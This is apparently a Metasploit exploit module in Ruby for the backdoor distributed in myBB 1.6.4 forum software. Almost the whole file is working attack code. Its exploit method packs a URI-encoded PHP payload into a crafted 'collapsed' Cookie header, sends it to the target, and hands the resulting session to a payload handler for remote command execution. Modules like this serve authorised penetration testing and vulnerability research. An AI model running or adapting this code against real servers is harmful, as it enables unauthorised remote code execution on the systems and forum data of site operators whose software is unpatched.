myBB 1.6.4 Backdoor Arbitrary Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'myBB 1.6.4 Backdoor Arbitrary Command Execution',
        'Description' => %q{
          myBB is a popular open source PHP forum software. Version 1.6.4 contained an
          unauthorized backdoor, distributed as part of the vendor's source package.
        },
        'Author' => [
          'tdz',
        ],
        'License' => MSF_LICENSE,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => [],
          'NOCVE' => ['Reason not given']
        },
        'References' => [
          [ 'CVE', '2011-10018' ],
          [ 'OSVDB', '76111' ],
          [ 'BID', '49993' ],
          [ 'URL', 'http://web.archive.org/web/20121010011259/http://secunia.com/advisories/46300/' ],
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'Space' => 4000,
          'DisableNops' => true,
          'Keys' => ['php'],
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-10-06'
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "myBB path", '/index.php']),
      ]
    )
  end

  def uri
    normalize_uri(datastore['URI'])
  end

  def check
    vprint_status("Checking target")
    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    }, 10)

    if (not res) or (not res.code.between?(200, 299))
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Detected('The target service was detected')
    end
  end

  def exploit
    print_status("Sending exploit request")

    # for details of the backdoor mechanism.
    cookie = "collapsed=0|1|2|3|4|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|"
    cookie << Rex::Text.uri_encode(payload.encoded)

    response = send_request_raw({
      'method' => 'GET',
      'global' => true,
      'uri' => uri,
      'headers' => { 'Cookie' => cookie }
    }, 10)

    if (not response) or (not response.code.between?(200, 299))
      print_error "Cannot connect to #{uri} on #{datastore['RHOST']}, got #{response ? response.code : 'no response'}."
    else
      handler
    end
  end
end